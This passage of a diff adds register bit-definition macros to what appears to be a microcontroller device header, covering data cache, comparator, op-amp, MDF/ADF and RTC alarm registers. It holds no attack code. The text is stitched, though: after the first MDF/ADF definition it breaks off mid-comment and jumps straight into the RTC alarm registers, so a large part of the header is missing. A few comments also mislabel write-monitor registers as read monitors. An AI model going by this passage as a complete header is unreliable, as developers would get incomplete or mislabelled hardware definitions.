DCACHE_CR_STARTCMD_Pos (11UL) +#define DCACHE_CR_STARTCMD_Msk (0x1UL << DCACHE_CR_STARTCMD_Pos) /*!< 0x00000800 */ +#define DCACHE_CR_STARTCMD DCACHE_CR_STARTCMD_Msk /*!< Start command */ +#define DCACHE_CR_RHITMEN_Pos (16UL) +#define DCACHE_CR_RHITMEN_Msk (0x1UL << DCACHE_CR_RHITMEN_Pos) /*!< 0x00010000 */ +#define DCACHE_CR_RHITMEN DCACHE_CR_RHITMEN_Msk /*!< Read Hit monitor enable */ +#define DCACHE_CR_RMISSMEN_Pos (17UL) +#define DCACHE_CR_RMISSMEN_Msk (0x1UL << DCACHE_CR_RMISSMEN_Pos) /*!< 0x00020000 */ +#define DCACHE_CR_RMISSMEN DCACHE_CR_RMISSMEN_Msk /*!< Read Miss monitor enable */ +#define DCACHE_CR_RHITMRST_Pos (18UL) +#define DCACHE_CR_RHITMRST_Msk (0x1UL << DCACHE_CR_RHITMRST_Pos) /*!< 0x00040000 */ +#define DCACHE_CR_RHITMRST DCACHE_CR_RHITMRST_Msk /*!< Read Hit monitor reset */ +#define DCACHE_CR_RMISSMRST_Pos (19UL) +#define DCACHE_CR_RMISSMRST_Msk (0x1UL << DCACHE_CR_RMISSMRST_Pos) /*!< 0x00080000 */ +#define DCACHE_CR_RMISSMRST DCACHE_CR_RMISSMRST_Msk /*!< Read Miss monitor reset */ +#define DCACHE_CR_WHITMEN_Pos (20UL) +#define DCACHE_CR_WHITMEN_Msk (0x1UL << DCACHE_CR_WHITMEN_Pos) /*!< 0x00100000 */ +#define DCACHE_CR_WHITMEN DCACHE_CR_WHITMEN_Msk /*!< Write Hit monitor enable */ +#define DCACHE_CR_WMISSMEN_Pos (21UL) +#define DCACHE_CR_WMISSMEN_Msk (0x1UL << DCACHE_CR_WMISSMEN_Pos) /*!< 0x00200000 */ +#define DCACHE_CR_WMISSMEN DCACHE_CR_WMISSMEN_Msk /*!< Write Miss monitor enable */ +#define DCACHE_CR_WHITMRST_Pos (22UL) +#define DCACHE_CR_WHITMRST_Msk (0x1UL << DCACHE_CR_WHITMRST_Pos) /*!< 0x00400000 */ +#define DCACHE_CR_WHITMRST DCACHE_CR_WHITMRST_Msk /*!< Write Hit monitor reset */ +#define DCACHE_CR_WMISSMRST_Pos (23UL) +#define DCACHE_CR_WMISSMRST_Msk (0x1UL << DCACHE_CR_WMISSMRST_Pos) /*!< 0x00800000 */ +#define DCACHE_CR_WMISSMRST DCACHE_CR_WMISSMRST_Msk /*!< Write Miss monitor reset */ +#define DCACHE_CR_HBURST_Pos (31UL) +#define DCACHE_CR_HBURST_Msk (0x1UL << DCACHE_CR_HBURST_Pos) /*!< 0x80000000 */ +#define DCACHE_CR_HBURST DCACHE_CR_HBURST_Msk /*!< Read burst type */ + +/****************** Bit definition for DCACHE_SR register *******************/ +#define DCACHE_SR_BUSYF_Pos (0UL) +#define DCACHE_SR_BUSYF_Msk (0x1UL << DCACHE_SR_BUSYF_Pos) /*!< 0x00000001 */ +#define DCACHE_SR_BUSYF DCACHE_SR_BUSYF_Msk /*!< Busy flag */ +#define DCACHE_SR_BSYENDF_Pos (1UL) +#define DCACHE_SR_BSYENDF_Msk (0x1UL << DCACHE_SR_BSYENDF_Pos) /*!< 0x00000002 */ +#define DCACHE_SR_BSYENDF DCACHE_SR_BSYENDF_Msk /*!< Busy end flag */ +#define DCACHE_SR_ERRF_Pos (2UL) +#define DCACHE_SR_ERRF_Msk (0x1UL << DCACHE_SR_ERRF_Pos) /*!< 0x00000004 */ +#define DCACHE_SR_ERRF DCACHE_SR_ERRF_Msk /*!< Cache error flag */ +#define DCACHE_SR_BUSYCMDF_Pos (3UL) +#define DCACHE_SR_BUSYCMDF_Msk (0x1UL << DCACHE_SR_BUSYCMDF_Pos) /*!< 0x00000008 */ +#define DCACHE_SR_BUSYCMDF DCACHE_SR_BUSYCMDF_Msk /*!< Busy command flag */ +#define DCACHE_SR_CMDENDF_Pos (4UL) +#define DCACHE_SR_CMDENDF_Msk (0x1UL << DCACHE_SR_CMDENDF_Pos) /*!< 0x00000010 */ +#define DCACHE_SR_CMDENDF DCACHE_SR_CMDENDF_Msk /*!< Command end flag */ + +/****************** Bit definition for DCACHE_IER register ******************/ +#define DCACHE_IER_BSYENDIE_Pos (1UL) +#define DCACHE_IER_BSYENDIE_Msk (0x1UL << DCACHE_IER_BSYENDIE_Pos) /*!< 0x00000002 */ +#define DCACHE_IER_BSYENDIE DCACHE_IER_BSYENDIE_Msk /*!< Busy end interrupt enable */ +#define DCACHE_IER_ERRIE_Pos (2UL) +#define DCACHE_IER_ERRIE_Msk (0x1UL << DCACHE_IER_ERRIE_Pos) /*!< 0x00000004 */ +#define DCACHE_IER_ERRIE DCACHE_IER_ERRIE_Msk /*!< Cache error interrupt enable */ +#define DCACHE_IER_CMDENDIE_Pos (4UL) +#define DCACHE_IER_CMDENDIE_Msk (0x1UL << DCACHE_IER_CMDENDIE_Pos) /*!< 0x00000010 */ +#define DCACHE_IER_CMDENDIE DCACHE_IER_CMDENDIE_Msk /*!< Command end interrupt enable */ + +/****************** Bit definition for DCACHE_FCR register ******************/ +#define DCACHE_FCR_CBSYENDF_Pos (1UL) +#define DCACHE_FCR_CBSYENDF_Msk (0x1UL << DCACHE_FCR_CBSYENDF_Pos) /*!< 0x00000002 */ +#define DCACHE_FCR_CBSYENDF DCACHE_FCR_CBSYENDF_Msk /*!< Busy end flag clear */ +#define DCACHE_FCR_CERRF_Pos (2UL) +#define DCACHE_FCR_CERRF_Msk (0x1UL << DCACHE_FCR_CERRF_Pos) /*!< 0x00000004 */ +#define DCACHE_FCR_CERRF DCACHE_FCR_CERRF_Msk /*!< Cache error flag clear */ +#define DCACHE_FCR_CCMDENDF_Pos (4UL) +#define DCACHE_FCR_CCMDENDF_Msk (0x1UL << DCACHE_FCR_CCMDENDF_Pos) /*!< 0x00000010 */ +#define DCACHE_FCR_CCMDENDF DCACHE_FCR_CCMDENDF_Msk /*!< Command end flag clear */ + +/****************** Bit definition for DCACHE_RHMONR register ****************/ +#define DCACHE_RHMONR_RHITMON_Pos (0UL) +#define DCACHE_RHMONR_RHITMON_Msk (0xFFFFFFFFUL << DCACHE_RHMONR_RHITMON_Pos) /*!< 0xFFFFFFFF */ +#define DCACHE_RHMONR_RHITMON DCACHE_RHMONR_RHITMON_Msk /*!< Cache Read hit monitor register */ + +/****************** Bit definition for DCACHE_RMMONR register ****************/ +#define DCACHE_RMMONR_RMISSMON_Pos (0UL) +#define DCACHE_RMMONR_RMISSMON_Msk (0xFFFFUL << DCACHE_RMMONR_RMISSMON_Pos) /*!< 0x0000FFFF */ +#define DCACHE_RMMONR_RMISSMON DCACHE_RMMONR_RMISSMON_Msk /*!< Cache Read miss monitor register */ + +/****************** Bit definition for DCACHE_WHMONR register ****************/ +#define DCACHE_WHMONR_WHITMON_Pos (0UL) +#define DCACHE_WHMONR_WHITMON_Msk (0xFFFFFFFFUL << DCACHE_WHMONR_WHITMON_Pos) /*!< 0xFFFFFFFF */ +#define DCACHE_WHMONR_WHITMON DCACHE_WHMONR_WHITMON_Msk /*!< Cache Read hit monitor register */ + +/****************** Bit definition for DCACHE_WMMONR register ****************/ +#define DCACHE_WMMONR_WMISSMON_Pos (0UL) +#define DCACHE_WMMONR_WMISSMON_Msk (0xFFFFUL << DCACHE_WMMONR_WMISSMON_Pos) /*!< 0x0000FFFF */ +#define DCACHE_WMMONR_WMISSMON DCACHE_WMMONR_WMISSMON_Msk /*!< Cache Read miss monitor register */ + +/****************** Bit definition for DCACHE_CMDRSADDRR register ****************/ +#define DCACHE_CMDRSADDRR_CMDSTARTADDR_Pos (0UL) +#define DCACHE_CMDRSADDRR_CMDSTARTADDR_Msk (0xFFFFFFF0UL << DCACHE_CMDRSADDRR_CMDSTARTADDR_Pos) /*!< 0xFFFFFFF0 */ +#define DCACHE_CMDRSADDRR_CMDSTARTADDR DCACHE_CMDRSADDRR_CMDSTARTADDR_Msk /*!< Command start address */ + +/****************** Bit definition for DCACHE_CMDREADDRR register ****************/ +#define DCACHE_CMDREADDRR_CMDENDADDR_Pos (0UL) +#define DCACHE_CMDREADDRR_CMDENDADDR_Msk (0xFFFFFFF0UL << DCACHE_CMDREADDRR_CMDENDADDR_Pos) /*!< 0xFFFFFFF0 */ +#define DCACHE_CMDREADDRR_CMDENDADDR DCACHE_CMDREADDRR_CMDENDADDR_Msk /*!< Command end address */ + +/******************************************************************************/ +/* */ +/* Analog Comparators (COMP) */ +/* */ +/******************************************************************************/ + +/********************** Bit definition for COMP_CSR register ****************/ +#define COMP_CSR_EN_Pos (0UL) +#define COMP_CSR_EN_Msk (0x1UL << COMP_CSR_EN_Pos) /*!< 0x00000001 */ +#define COMP_CSR_EN COMP_CSR_EN_Msk /*!< Comparator enable */ +#define COMP_CSR_INMSEL_Pos (4UL) +#define COMP_CSR_INMSEL_Msk (0xFUL << COMP_CSR_INMSEL_Pos) /*!< 0x000000F0 */ +#define COMP_CSR_INMSEL COMP_CSR_INMSEL_Msk /*!< Comparator input minus selection */ +#define COMP_CSR_INMSEL_0 (0x1UL << COMP_CSR_INMSEL_Pos) /*!< 0x00000010 */ +#define COMP_CSR_INMSEL_1 (0x2UL << COMP_CSR_INMSEL_Pos) /*!< 0x00000020 */ +#define COMP_CSR_INMSEL_2 (0x4UL << COMP_CSR_INMSEL_Pos) /*!< 0x00000040 */ +#define COMP_CSR_INMSEL_3 (0x8UL << COMP_CSR_INMSEL_Pos) /*!< 0x00000080 */ +#define COMP_CSR_INPSEL_Pos (8UL) +#define COMP_CSR_INPSEL_Msk (0x7UL << COMP_CSR_INPSEL_Pos) /*!< 0x00000700 */ +#define COMP_CSR_INPSEL COMP_CSR_INPSEL_Msk /*!< Comparator input plus selection */ +#define COMP_CSR_INPSEL_0 (0x1UL << COMP_CSR_INPSEL_Pos) /*!< 0x00000100 */ +#define COMP_CSR_INPSEL_1 (0x2UL << COMP_CSR_INPSEL_Pos) /*!< 0x00000200 */ +#define COMP_CSR_INPSEL_2 (0x4UL << COMP_CSR_INPSEL_Pos) /*!< 0x00000400 */ +#define COMP_CSR_WINMODE_Pos (11UL) +#define COMP_CSR_WINMODE_Msk (0x1UL << COMP_CSR_WINMODE_Pos) /*!< 0x00000800 */ +#define COMP_CSR_WINMODE COMP_CSR_WINMODE_Msk /*!< Pair of comparators window mode. Bit intended to be used with COMP common instance (COMP_Common_TypeDef) */ +#define COMP_CSR_WINOUT_Pos (14UL) +#define COMP_CSR_WINOUT_Msk (0x1UL << COMP_CSR_WINOUT_Pos) /*!< 0x00004000 */ +#define COMP_CSR_WINOUT COMP_CSR_WINOUT_Msk /*!< Pair of comparators window output level. Bit intended to be used with COMP common instance (COMP_Common_TypeDef) */ +#define COMP_CSR_POLARITY_Pos (15UL) +#define COMP_CSR_POLARITY_Msk (0x1UL << COMP_CSR_POLARITY_Pos) /*!< 0x00008000 */ +#define COMP_CSR_POLARITY COMP_CSR_POLARITY_Msk /*!< Comparator output polarity */ +#define COMP_CSR_HYST_Pos (16UL) +#define COMP_CSR_HYST_Msk (0x3UL << COMP_CSR_HYST_Pos) /*!< 0x00030000 */ +#define COMP_CSR_HYST COMP_CSR_HYST_Msk /*!< Comparator input hysteresis */ +#define COMP_CSR_HYST_0 (0x1UL << COMP_CSR_HYST_Pos) /*!< 0x00010000 */ +#define COMP_CSR_HYST_1 (0x2UL << COMP_CSR_HYST_Pos) /*!< 0x00020000 */ +#define COMP_CSR_PWRMODE_Pos (18UL) +#define COMP_CSR_PWRMODE_Msk (0x3UL << COMP_CSR_PWRMODE_Pos) /*!< 0x000C0000 */ +#define COMP_CSR_PWRMODE COMP_CSR_PWRMODE_Msk /*!< Comparator power mode */ +#define COMP_CSR_PWRMODE_0 (0x1UL << COMP_CSR_PWRMODE_Pos) /*!< 0x00040000 */ +#define COMP_CSR_PWRMODE_1 (0x2UL << COMP_CSR_PWRMODE_Pos) /*!< 0x00080000 */ +#define COMP_CSR_BLANKSEL_Pos (20UL) +#define COMP_CSR_BLANKSEL_Msk (0x1FUL << COMP_CSR_BLANKSEL_Pos) /*!< 0x01F00000 */ +#define COMP_CSR_BLANKSEL COMP_CSR_BLANKSEL_Msk /*!< Comparator blanking source */ +#define COMP_CSR_BLANKSEL_0 (0x01UL << COMP_CSR_BLANKSEL_Pos) /*!< 0x00100000 */ +#define COMP_CSR_BLANKSEL_1 (0x02UL << COMP_CSR_BLANKSEL_Pos) /*!< 0x00200000 */ +#define COMP_CSR_BLANKSEL_2 (0x04UL << COMP_CSR_BLANKSEL_Pos) /*!< 0x00400000 */ +#define COMP_CSR_BLANKSEL_3 (0x08UL << COMP_CSR_BLANKSEL_Pos) /*!< 0x00800000 */ +#define COMP_CSR_BLANKSEL_4 (0x10UL << COMP_CSR_BLANKSEL_Pos) /*!< 0x01000000 */ +#define COMP_CSR_VALUE_Pos (30UL) +#define COMP_CSR_VALUE_Msk (0x1UL << COMP_CSR_VALUE_Pos) /*!< 0x40000000 */ +#define COMP_CSR_VALUE COMP_CSR_VALUE_Msk /*!< Comparator output level */ +#define COMP_CSR_LOCK_Pos (31UL) +#define COMP_CSR_LOCK_Msk (0x1UL << COMP_CSR_LOCK_Pos) /*!< 0x80000000 */ +#define COMP_CSR_LOCK COMP_CSR_LOCK_Msk /*!< Comparator lock */ + +/******************************************************************************/ +/* */ +/* Operational Amplifier (OPAMP) */ +/* */ +/******************************************************************************/ +/********************* Bit definition for OPAMPx_CSR register ***************/ +#define OPAMP_CSR_OPAEN_Pos (0UL) +#define OPAMP_CSR_OPAEN_Msk (0x1UL << OPAMP_CSR_OPAEN_Pos) /*!< 0x00000001 */ +#define OPAMP_CSR_OPAEN OPAMP_CSR_OPAEN_Msk /*!< OPAMP enable */ +#define OPAMP_CSR_OPALPM_Pos (1UL) +#define OPAMP_CSR_OPALPM_Msk (0x1UL << OPAMP_CSR_OPALPM_Pos) /*!< 0x00000002 */ +#define OPAMP_CSR_OPALPM OPAMP_CSR_OPALPM_Msk /*!< Operational amplifier Low Power Mode */ +#define OPAMP_CSR_OPAMODE_Pos (2UL) +#define OPAMP_CSR_OPAMODE_Msk (0x3UL << OPAMP_CSR_OPAMODE_Pos) /*!< 0x0000000C */ +#define OPAMP_CSR_OPAMODE OPAMP_CSR_OPAMODE_Msk /*!< Operational amplifier PGA mode */ +#define OPAMP_CSR_OPAMODE_0 (0x1UL << OPAMP_CSR_OPAMODE_Pos) /*!< 0x00000004 */ +#define OPAMP_CSR_OPAMODE_1 (0x2UL << OPAMP_CSR_OPAMODE_Pos) /*!< 0x00000008 */ +#define OPAMP_CSR_PGA_GAIN_Pos (4UL) +#define OPAMP_CSR_PGA_GAIN_Msk (0x3UL << OPAMP_CSR_PGA_GAIN_Pos) /*!< 0x00000030 */ +#define OPAMP_CSR_PGA_GAIN OPAMP_CSR_PGA_GAIN_Msk /*!< Operational amplifier Programmable amplifier gain value */ +#define OPAMP_CSR_PGA_GAIN_0 (0x1UL << OPAMP_CSR_PGA_GAIN_Pos) /*!< 0x00000010 */ +#define OPAMP_CSR_PGA_GAIN_1 (0x2UL << OPAMP_CSR_PGA_GAIN_Pos) /*!< 0x00000020 */ +#define OPAMP_CSR_VM_SEL_Pos (8UL) +#define OPAMP_CSR_VM_SEL_Msk (0x3UL << OPAMP_CSR_VM_SEL_Pos) /*!< 0x00000300 */ +#define OPAMP_CSR_VM_SEL OPAMP_CSR_VM_SEL_Msk /*!< Inverting input selection */ +#define OPAMP_CSR_VM_SEL_0 (0x1UL << OPAMP_CSR_VM_SEL_Pos) /*!< 0x00000100 */ +#define OPAMP_CSR_VM_SEL_1 (0x2UL << OPAMP_CSR_VM_SEL_Pos) /*!< 0x00000200 */ +#define OPAMP_CSR_VP_SEL_Pos (10UL) +#define OPAMP_CSR_VP_SEL_Msk (0x1UL << OPAMP_CSR_VP_SEL_Pos) /*!< 0x00000400 */ +#define OPAMP_CSR_VP_SEL OPAMP_CSR_VP_SEL_Msk /*!< Non inverted input selection */ +#define OPAMP_CSR_CALON_Pos (12UL) +#define OPAMP_CSR_CALON_Msk (0x1UL << OPAMP_CSR_CALON_Pos) /*!< 0x00001000 */ +#define OPAMP_CSR_CALON OPAMP_CSR_CALON_Msk /*!< Calibration mode enable */ +#define OPAMP_CSR_CALSEL_Pos (13UL) +#define OPAMP_CSR_CALSEL_Msk (0x1UL << OPAMP_CSR_CALSEL_Pos) /*!< 0x00002000 */ +#define OPAMP_CSR_CALSEL OPAMP_CSR_CALSEL_Msk /*!< Calibration selection */ +#define OPAMP_CSR_USERTRIM_Pos (14UL) +#define OPAMP_CSR_USERTRIM_Msk (0x1UL << OPAMP_CSR_USERTRIM_Pos) /*!< 0x00004000 */ +#define OPAMP_CSR_USERTRIM OPAMP_CSR_USERTRIM_Msk /*!< User trimming enable */ +#define OPAMP_CSR_CALOUT_Pos (15UL) +#define OPAMP_CSR_CALOUT_Msk (0x1UL << OPAMP_CSR_CALOUT_Pos) /*!< 0x00008000 */ +#define OPAMP_CSR_CALOUT OPAMP_CSR_CALOUT_Msk /*!< Operational amplifier calibration output */ +#define OPAMP_CSR_HSM_Pos (30UL) +#define OPAMP_CSR_HSM_Msk (0x1UL << OPAMP_CSR_HSM_Pos) /*!< 0x40000000 */ +#define OPAMP_CSR_HSM OPAMP_CSR_HSM_Msk /*!< Operational amplifier high speed mode */ +#define OPAMP_CSR_OPARANGE_Pos (31UL) +#define OPAMP_CSR_OPARANGE_Msk (0x1UL << OPAMP_CSR_OPARANGE_Pos) /*!< 0x80000000 */ +#define OPAMP_CSR_OPARANGE OPAMP_CSR_OPARANGE_Msk /*!< Operational amplifier range setting */ + +/******************* Bit definition for OPAMPx_OTR register ******************/ +#define OPAMP_OTR_TRIMOFFSETN_Pos (0UL) +#define OPAMP_OTR_TRIMOFFSETN_Msk (0x1FUL << OPAMP_OTR_TRIMOFFSETN_Pos) /*!< 0x0000001F */ +#define OPAMP_OTR_TRIMOFFSETN OPAMP_OTR_TRIMOFFSETN_Msk /*!< Trim for NMOS differential pairs */ +#define OPAMP_OTR_TRIMOFFSETP_Pos (8UL) +#define OPAMP_OTR_TRIMOFFSETP_Msk (0x1FUL << OPAMP_OTR_TRIMOFFSETP_Pos) /*!< 0x00001F00 */ +#define OPAMP_OTR_TRIMOFFSETP OPAMP_OTR_TRIMOFFSETP_Msk /*!< Trim for PMOS differential pairs */ + +/******************* Bit definition for OPAMPx_LPOTR register ****************/ +#define OPAMP_LPOTR_TRIMLPOFFSETN_Pos (0UL) +#define OPAMP_LPOTR_TRIMLPOFFSETN_Msk (0x1FUL << OPAMP_LPOTR_TRIMLPOFFSETN_Pos) /*!< 0x0000001F */ +#define OPAMP_LPOTR_TRIMLPOFFSETN OPAMP_LPOTR_TRIMLPOFFSETN_Msk /*!< Trim for NMOS differential pairs */ +#define OPAMP_LPOTR_TRIMLPOFFSETP_Pos (8UL) +#define OPAMP_LPOTR_TRIMLPOFFSETP_Msk (0x1FUL << OPAMP_LPOTR_TRIMLPOFFSETP_Pos) /*!< 0x00001F00 */ +#define OPAMP_LPOTR_TRIMLPOFFSETP OPAMP_LPOTR_TRIMLPOFFSETP_Msk /*!< Trim for PMOS differential pairs */ + +/******************************************************************************/ +/* */ +/* MDF/ADF */ +/* */ +/******************************************************************************/ +/******************* Bit definition for MDF/ADF_GCR register ********************/ +#define MDF_GCR_TRGO_Pos (0UL) +#define MDF_GCR_TRGO_Msk (0x1UL << MDF_GCR_TRGO_Pos) /*!< 0x00000001 */ +#define MDF_GCR_TRGO MDF_GCR_TRGO_Msk /*! */ + +/******************** Bits definition for RTC_ALRMAR register ***************/ +#define RTC_ALRMAR_SU_Pos (0UL) +#define RTC_ALRMAR_SU_Msk (0xFUL << RTC_ALRMAR_SU_Pos) /*!< 0x0000000F */ +#define RTC_ALRMAR_SU RTC_ALRMAR_SU_Msk +#define RTC_ALRMAR_SU_0 (0x1UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000001 */ +#define RTC_ALRMAR_SU_1 (0x2UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000002 */ +#define RTC_ALRMAR_SU_2 (0x4UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000004 */ +#define RTC_ALRMAR_SU_3 (0x8UL << RTC_ALRMAR_SU_Pos) /*!< 0x00000008 */ +#define RTC_ALRMAR_ST_Pos (4UL) +#define RTC_ALRMAR_ST_Msk (0x7UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000070 */ +#define RTC_ALRMAR_ST RTC_ALRMAR_ST_Msk +#define RTC_ALRMAR_ST_0 (0x1UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000010 */ +#define RTC_ALRMAR_ST_1 (0x2UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000020 */ +#define RTC_ALRMAR_ST_2 (0x4UL << RTC_ALRMAR_ST_Pos) /*!< 0x00000040 */ +#define RTC_ALRMAR_MSK1_Pos (7UL) +#define RTC_ALRMAR_MSK1_Msk (0x1UL << RTC_ALRMAR_MSK1_Pos) /*!< 0x00000080 */ +#define RTC_ALRMAR_MSK1 RTC_ALRMAR_MSK1_Msk +#define RTC_ALRMAR_MNU_Pos (8UL) +#define RTC_ALRMAR_MNU_Msk (0xFUL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000F00 */ +#define RTC_ALRMAR_MNU RTC_ALRMAR_MNU_Msk +#define RTC_ALRMAR_MNU_0 (0x1UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000100 */ +#define RTC_ALRMAR_MNU_1 (0x2UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000200 */ +#define RTC_ALRMAR_MNU_2 (0x4UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000400 */ +#define RTC_ALRMAR_MNU_3 (0x8UL << RTC_ALRMAR_MNU_Pos) /*!< 0x00000800 */ +#define RTC_ALRMAR_MNT_Pos (12UL) +#define RTC_ALRMAR_MNT_Msk (0x7UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00007000 */ +#define RTC_ALRMAR_MNT RTC_ALRMAR_MNT_Msk +#define RTC_ALRMAR_MNT_0 (0x1UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00001000 */ +#define RTC_ALRMAR_MNT_1 (0x2UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00002000 */ +#define RTC_ALRMAR_MNT_2 (0x4UL << RTC_ALRMAR_MNT_Pos) /*!< 0x00004000 */ +#define RTC_ALRMAR_MSK2_Pos (15UL) +#define RTC_ALRMAR_MSK2_Msk (0x1UL << RTC_ALRMAR_MSK2_Pos) /*!< 0x00008000 */ +#define RTC_ALRMAR_MSK2 RTC_ALRMAR_MSK2_Msk +#define RTC_ALRMAR_HU_Pos (16UL) +#define RTC_ALRMAR_HU_Msk (0xFUL << RTC_ALRMAR_HU_Pos) /*!< 0x000F0000 */ +#define RTC_ALRMAR_HU RTC_ALRMAR_HU_Msk +#define RTC_ALRMAR_HU_0 (0x1UL << RTC_ALRMAR_HU_Pos) /*!< 0x00010000 */ +#define RTC_ALRMAR_HU_1 (0x2UL << RTC_ALRMAR_HU_Pos) /*!< 0x00020000 */ +#define RTC_ALRMAR_HU_2 (0x4UL << RTC_ALRMAR_HU_Pos) /*!< 0x00040000 */ +#define RTC_ALRMAR_HU_3 (0x8UL << RTC_ALRMAR_HU_Pos) /*!< 0x00080000 */ +#define RTC_ALRMAR_HT_Pos (20UL) +#define RTC_ALRMAR_HT_Msk (0x3UL << RTC_ALRMAR_HT_Pos) /*!< 0x00300000 */ +#define RTC_ALRMAR_HT RTC_ALRMAR_HT_Msk +#define RTC_ALRMAR_HT_0 (0x1UL << RTC_ALRMAR_HT_Pos) /*!< 0x00100000 */ +#define RTC_ALRMAR_HT_1 (0x2UL << RTC_ALRMAR_HT_Pos) /*!< 0x00200000 */ +#define RTC_ALRMAR_PM_Pos (22UL) +#define RTC_ALRMAR_PM_Msk (0x1UL << RTC_ALRMAR_PM_Pos) /*!< 0x00400000 */ +#define RTC_ALRMAR_PM RTC_ALRMAR_PM_Msk +#define RTC_ALRMAR_MSK3_Pos (23UL) +#define RTC_ALRMAR_MSK3_Msk (0x1UL << RTC_ALRMAR_MSK3_Pos) /*!< 0x00800000 */ +#define RTC_ALRMAR_MSK3 RTC_ALRMAR_MSK3_Msk +#define RTC_ALRMAR_DU_Pos (24UL) +#define RTC_ALRMAR_DU_Msk (0xFUL << RTC_ALRMAR_DU_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMAR_DU RTC_ALRMAR_DU_Msk +#define RTC_ALRMAR_DU_0 (0x1UL << RTC_ALRMAR_DU_Pos) /*!< 0x01000000 */ +#define RTC_ALRMAR_DU_1 (0x2UL << RTC_ALRMAR_DU_Pos) /*!< 0x02000000 */ +#define RTC_ALRMAR_DU_2 (0x4UL << RTC_ALRMAR_DU_Pos) /*!< 0x04000000 */ +#define RTC_ALRMAR_DU_3 (0x8UL << RTC_ALRMAR_DU_Pos) /*!< 0x08000000 */ +#define RTC_ALRMAR_DT_Pos (28UL) +#define RTC_ALRMAR_DT_Msk (0x3UL << RTC_ALRMAR_DT_Pos) /*!< 0x30000000 */ +#define RTC_ALRMAR_DT RTC_ALRMAR_DT_Msk +#define RTC_ALRMAR_DT_0 (0x1UL << RTC_ALRMAR_DT_Pos) /*!< 0x10000000 */ +#define RTC_ALRMAR_DT_1 (0x2UL << RTC_ALRMAR_DT_Pos) /*!< 0x20000000 */ +#define RTC_ALRMAR_WDSEL_Pos (30UL) +#define RTC_ALRMAR_WDSEL_Msk (0x1UL << RTC_ALRMAR_WDSEL_Pos) /*!< 0x40000000 */ +#define RTC_ALRMAR_WDSEL RTC_ALRMAR_WDSEL_Msk +#define RTC_ALRMAR_MSK4_Pos (31UL) +#define RTC_ALRMAR_MSK4_Msk (0x1UL << RTC_ALRMAR_MSK4_Pos) /*!< 0x80000000 */ +#define RTC_ALRMAR_MSK4 RTC_ALRMAR_MSK4_Msk + +/******************** Bits definition for RTC_ALRMASSR register *************/ +#define RTC_ALRMASSR_SS_Pos (0UL) +#define RTC_ALRMASSR_SS_Msk (0x7FFFUL << RTC_ALRMASSR_SS_Pos) /*!< 0x00007FFF */ +#define RTC_ALRMASSR_SS RTC_ALRMASSR_SS_Msk +#define RTC_ALRMASSR_MASKSS_Pos (24UL) +#define RTC_ALRMASSR_MASKSS_Msk (0xFUL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMASSR_MASKSS RTC_ALRMASSR_MASKSS_Msk +#define RTC_ALRMASSR_MASKSS_0 (0x1UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x01000000 */ +#define RTC_ALRMASSR_MASKSS_1 (0x2UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x02000000 */ +#define RTC_ALRMASSR_MASKSS_2 (0x4UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x04000000 */ +#define RTC_ALRMASSR_MASKSS_3 (0x8UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x08000000 */ +#define RTC_ALRMASSR_SSCLR_Pos (31UL) +#define RTC_ALRMASSR_SSCLR_Msk (0x1UL << RTC_ALRMASSR_SSCLR_Pos) /*!< 0x80000000 */ +#define RTC_ALRMASSR_SSCLR RTC_ALRMASSR_SSCLR_Msk + +/******************** Bits definition for RTC_ALRMBR register ***************/ +#define RTC_ALRMBR_SU_Pos (0UL) +#define RTC_ALRMBR_SU_Msk (0xFUL << RTC_ALRMBR_SU_Pos) /*!< 0x0000000F */ +#define RTC_ALRMBR_SU RTC_ALRMBR_SU_Msk +#define RTC_ALRMBR_SU_0 (0x1UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000001 */ +#define RTC_ALRMBR_SU_1 (0x2UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000002 */ +#define RTC_ALRMBR_SU_2 (0x4UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000004 */ +#define RTC_ALRMBR_SU_3 (0x8UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000008 */ +#define RTC_ALRMBR_ST_Pos (4UL) +#define RTC_ALRMBR_ST_Msk (0x7UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000070 */ +#define RTC_ALRMBR_ST RTC_ALRMBR_ST_Msk +#define RTC_ALRMBR_ST_0 (0x1UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000010 */ +#define RTC_ALRMBR_ST_1 (0x2UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000020 */ +#define RTC_ALRMBR_ST_2 (0x4UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000040 */ +#define RTC_ALRMBR_MSK1_Pos (7UL) +#define RTC_ALRMBR_MSK1_Msk (0x1UL << RTC_ALRMBR_MSK1_Pos) /*!< 0x00000080 */ +#define RTC_ALRMBR_MSK1 RTC_ALRMBR_MSK1_Msk +#define RTC_ALRMBR_MNU_Pos (8UL) +#define RTC_ALRMBR_MNU_Msk (0xFUL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000F00 */ +#define RTC_ALRMBR_MNU RTC_ALRMBR_MNU_Msk +#define RTC_ALRMBR_MNU_0 (0x1UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000100 */ +#define RTC_ALRMBR_MNU_1 (0x2UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000200 */ +#define RTC_ALRMBR_MNU_2 (0x4UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000400 */ +#define RTC_ALRMBR_MNU_3 (0x8UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000800 */ +#define RTC_ALRMBR_MNT_Pos (12UL) +#define 